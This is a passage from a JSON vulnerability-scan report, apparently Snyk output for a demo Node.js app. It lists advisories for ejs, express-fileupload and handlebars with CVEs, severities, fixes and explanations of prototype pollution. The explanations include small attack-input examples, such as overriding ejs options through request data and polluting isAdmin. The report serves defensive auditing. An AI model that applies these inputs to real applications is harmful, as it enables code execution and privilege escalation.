leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n## Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n## Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\r\nOtherwise, Upgrade `ejs` to version `2.5.3` or higher.\r\n\r\n## References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "fixedIn": [ + "2.5.3" + ], + "id": "npm:ejs:20161128", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10218" + ], + "CVE": [ + "CVE-2017-1000228" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.346213Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [ + { + "comments": [], + "id": "patch:npm:ejs:20161128:0", + "modificationTime": "2019-12-03T11:40:45.851976Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/ejs/20161128/ejs_20161128_0_0_3d447c5a335844b25faec04b1132dbc721f9c8f6.patch" + ], + "version": "<2.5.3 >=2.2.4" + } + ], + "proprietary": true, + "publicationTime": "2016-11-28T18:44:12Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "semver": { + "vulnerable": [ + "<2.5.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", + "alternativeIds": [ + "SNYK-JS-EJS-10225" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 5.9, + "description": "## Overview\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\nAffected versions of the package are vulnerable to _Cross-site Scripting_ by letting the attacker under certain conditions control and override the `filename` option causing it to render the value as is, without escaping it.\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\n\nThere's also a [Remote Code Execution](https://snyk.io/vuln/npm:ejs:20161128) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour.\n\n## Details\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\n\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\n```js\nejs.render(str, data, options);\n\nejs.renderFile(filename, data, options, callback)\n```\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\n```js\nejs.render(str, dataAndOptions);\n\nejs.renderFile(filename, dataAndOptions, callback)\n```\n\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `filename` option, which will be rendered as is when an error occurs during rendering. \n\n```js\nejs.renderFile('my-template', {filename:''}, callback);\n```\n\nThe [fix](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\n\n## Disclosure Timeline\n- November 28th, 2016 - Reported the issue to package owner.\n- November 28th, 2016 - Issue acknowledged by package owner.\n- December 06th, 2016 - Issue fixed and version `2.5.5` released.\n\n## Remediation\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\nOtherwise, Upgrade `ejs` to version `2.5.5` or higher.\n\n## References\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\n- [Fix commit](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f)\n", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.5.5" + ], + "id": "npm:ejs:20161130", + "identifiers": { + "CWE": [ + "CWE-79" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10225" + ], + "CVE": [ + "CVE-2017-1000188" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.338142Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": true, + "publicationTime": "2016-12-06T15:00:00Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Cross-site Scripting (XSS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.5.5" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", + "alternativeIds": [ + "SNYK-JS-EJS-10226" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 5.9, + "description": "## Overview\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\nAffected versions of the package are vulnerable to _Denial of Service_ by letting the attacker under certain conditions control and override the `localNames` option causing it to crash.\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\n\nThere's also a [Remote Code Execution](https://snyk.io/vuln/npm:ejs:20161128) & [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) vulnerabilities caused by the same behaviour.\n\n## Details\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\n\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\n```js\nejs.render(str, data, options);\n\nejs.renderFile(filename, data, options, callback)\n```\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\n```js\nejs.render(str, dataAndOptions);\n\nejs.renderFile(filename, dataAndOptions, callback)\n```\n\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `localNames` option, which will cause the renderer to crash.\n\n```js\nejs.renderFile('my-template', {localNames:'try'}, callback);\n```\n\nThe [fix](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\n\n## Disclosure Timeline\n- November 28th, 2016 - Reported the issue to package owner.\n- November 28th, 2016 - Issue acknowledged by package owner.\n- December 06th, 2016 - Issue fixed and version `2.5.5` released.\n\n## Remediation\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\nOtherwise, Upgrade `ejs` to version `2.5.5` or higher.\n\n## References\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\n- [Fix commit](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f)\n", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.5.5" + ], + "id": "npm:ejs:20161130-1", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10226" + ], + "CVE": [ + "CVE-2017-1000189" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.363144Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": true, + "publicationTime": "2016-12-06T15:00:00Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Denial of Service (DoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.5.5" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "ejs-locals@1.0.2", + "ejs@0.8.8" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "name": "ejs", + "version": "0.8.8" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", + "alternativeIds": [], + "creationTime": "2019-10-22T12:22:54.665794Z", + "credit": [ + "Roman Burunkov" + ], + "cvssScore": 7.5, + "description": "## Overview\n[express-fileupload](https://github.com/richardgirges/express-fileupload) is a file upload middleware for express that wraps around busboy.\n\nAffected versions of this package are vulnerable to Denial of Service (DoS). The package does not limit file name length.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `express-fileupload` to version 1.1.6-alpha.6 or higher.\n## References\n- [GitHub PR](https://github.com/richardgirges/express-fileupload/pull/171)\n", + "disclosureTime": "2019-10-18T11:17:09Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "1.1.6-alpha.6" + ], + "id": "SNYK-JS-EXPRESSFILEUPLOAD-473997", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1216" + ], + "CVE": [], + "GHSA": [ + "GHSA-q3w9-g74q-vp5f" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-03-02T12:44:07.416834Z", + "moduleName": "express-fileupload", + "packageManager": "npm", + "packageName": "express-fileupload", + "patches": [], + "proprietary": false, + "publicationTime": "2019-10-22T15:08:40Z", + "references": [ + { + "title": "GitHub PR", + "url": "https://github.com/richardgirges/express-fileupload/pull/171" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Denial of Service (DoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<1.1.6-alpha.6" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "express-fileupload@0.0.5" + ], + "upgradePath": [ + false, + "express-fileupload@1.1.6" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "express-fileupload", + "version": "0.0.5" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2020-07-29T15:43:45.868695Z", + "credit": [ + "po6ix" + ], + "cvssScore": 7.5, + "description": "## Overview\n[express-fileupload](https://github.com/richardgirges/express-fileupload) is a file upload middleware for express that wraps around busboy.\n\nAffected versions of this package are vulnerable to Prototype Pollution. If the `parseNested` option is enabled, sending a corrupt HTTP request can lead to denial of service or arbitrary code execution.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `express-fileupload` to version 1.1.10 or higher.\n## References\n- [GitHub Issue](https://github.com/richardgirges/express-fileupload/issues/236)\n- [GitHub PR](https://github.com/richardgirges/express-fileupload/commit/9fca550f08a9dc07cc3500921f4fa7879cf88b8f)\n- [POSIX Vulnerability Blog](https://blog.p6.is/Real-World-JS-1/)\n", + "disclosureTime": "2020-07-29T15:08:59Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "1.1.10" + ], + "id": "SNYK-JS-EXPRESSFILEUPLOAD-595969", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-9wcg-jrwf-8gg7" + ], + "CVE": [ + "CVE-2020-7699" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-08-09T07:13:40.160998Z", + "moduleName": "express-fileupload", + "packageManager": "npm", + "packageName": "express-fileupload", + "patches": [], + "proprietary": true, + "publicationTime": "2020-07-30T15:28:18Z", + "references": [ + { + "title": "GitHub Issue", + "url": "https://github.com/richardgirges/express-fileupload/issues/236" + }, + { + "title": "GitHub PR", + "url": "https://github.com/richardgirges/express-fileupload/commit/9fca550f08a9dc07cc3500921f4fa7879cf88b8f" + }, + { + "title": "POSIX Vulnerability Blog", + "url": "https://blog.p6.is/Real-World-JS-1/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<1.1.10" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "express-fileupload@0.0.5" + ], + "upgradePath": [ + false, + "express-fileupload@1.1.10" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "express-fileupload", + "version": "0.0.5" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-01-08T17:25:21.189033Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 7, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.\r\n\r\n### POC\r\n```\r\n \r\n\r\n```\n## Remediation\nUpgrade `handlebars` to version 4.7.7 or higher.\n## References\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8)\n", + "disclosureTime": "2021-01-08T17:08:45Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.7.7" + ], + "id": "SNYK-JS-HANDLEBARS-1056767", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "GHSA": [ + "GHSA-f2jv-r9rf-7988" + ], + "CVE": [ + "CVE-2021-23369" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-11-11T10:55:55.623956Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": true, + "publicationTime": "2021-02-15T11:50:51Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/handlebars-lang/handlebars.js/commit/b6d3de7123eebba603e321f04afdbae608e8fea8" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Code Execution (RCE)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.7.7" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.2", + "handlebars@4.7.7" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-05-04T08:31:48.515713Z", + "credit": [ + "Francois Lajeunesse-Robert" + ], + "cvssScore": 5.6, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.\r\n\r\n### POC\r\n```\r\n \r\n\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `handlebars` to version 4.7.7 or higher.\n## References\n- [GitHub Commit](https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427)\n", + "disclosureTime": "2021-01-08T08:30:14Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.7.7" + ], + "id": "SNYK-JS-HANDLEBARS-1279029", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-23383" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-05-04T08:56:24.296344Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": true, + "publicationTime": "2021-05-04T08:56:24.293243Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/handlebars-lang/handlebars.js/commit/f0589701698268578199be25285b2ebea1c1e427" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.7.7" + ] + }, + "severityWithCritical": "medium", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14" + ], + "upgradePath": [ + false, + "hbs@4.1.2", + "handlebars@4.7.7" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "handlebars", + "version": "4.0.14" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-09-25T13:12:40.749568Z", + "credit": [ + "itszn" + ], + "cvssScore": 7.3, + "description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is a extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nTemplates may alter an Object's `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code on the server through crafted payloads.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n
\r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
